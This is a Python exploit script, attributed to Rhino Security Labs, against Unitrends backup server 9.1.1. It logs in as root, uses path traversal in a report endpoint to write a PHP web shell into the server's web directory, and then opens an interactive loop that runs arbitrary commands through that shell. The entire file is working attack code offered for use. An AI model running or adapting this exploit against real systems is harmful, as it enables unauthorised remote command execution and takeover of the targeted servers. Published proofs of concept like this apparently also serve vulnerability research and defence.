#!/usr/bin/python
import requests
import optparse
import json
from re import findall
from random import randint
import xml.etree.ElementTree as ET
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def main():
	parser = optparse.OptionParser("%prog -u https://url_to_unitrends_server.com -U root -P root_pass [-S session_cookie]")
	parser.add_option("-U", dest="username", type="string", help="Username with root privledges to login to Admin interface.")
	parser.add_option("-u", dest="url", type="string", help="URL or IP of Unitrends server.")
	parser.add_option("-P", dest="password", type="string", help="Root user's password.")
	parser.add_option("-a", dest="auth_string", type="string", help="Auth string from valid session of unitrends root user.")
	(options, args) = parser.parse_args()
	print "[+] Unitrends 9.1.1 Webshell Upload Exec Exploit"
	print "[+] Created by Dwight H. from Rhino Security Labs"
	if not options.url or not((options.username and options.password) or options.auth_string):
		print "[-] Not enough arguments given."
		return
	s = requests.Session()
	url = options.url
	if url[-1] == "/":
		url = url[:-1]
	auth_string = options.auth_string
	if not auth_string:
		print "[+] Attempting to login with {}:{}".format(options.username, options.password)
		# Disable logging messages all the time
		requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
		r = s.get(url, verify=False)
		login = {"username": options.username, "password": options.password}
		r = s.post(url + "/api/login", data=json.dumps(login), verify=False)
		superuser_data = r.json()
		auth_string = superuser_data.get('auth_token')
		if auth_string:
			print "[+] Authentication successful. Dropping into command prompt. (Note: No return value from command will be returned)"
		else:
			print "[-] Authentication not successful."
			return
	fname = randint(0,10000)
	r = s.get(url + "/recoveryconsole/bpl/reports.php?type=file&report=php&name=../../../../../../../../var/www/html/tempPDF/{}&contents=<?php echo shell_exec($_GET['e']); ?>&auth={}".format(fname, auth_string), verify=False)
	root = ET.fromstring(r.content)
	disk_loc = root[0].text.strip()
	webshell_url = disk_loc[disk_loc.find("/tempPDF"):]
	webshell_url = url + webshell_url
	print "[+] Webshell uploaded to {}".format(webshell_url)
	print "[+] Dropping to command line."
	try:
		while True:
			cmd = raw_input("#> ")
			r = s.post(webshell_url + "?e=" + cmd, verify=False)
			print r.content
	except KeyboardInterrupt:
		print '\n[+] Exiting.'

if __name__== "__main__":
	main()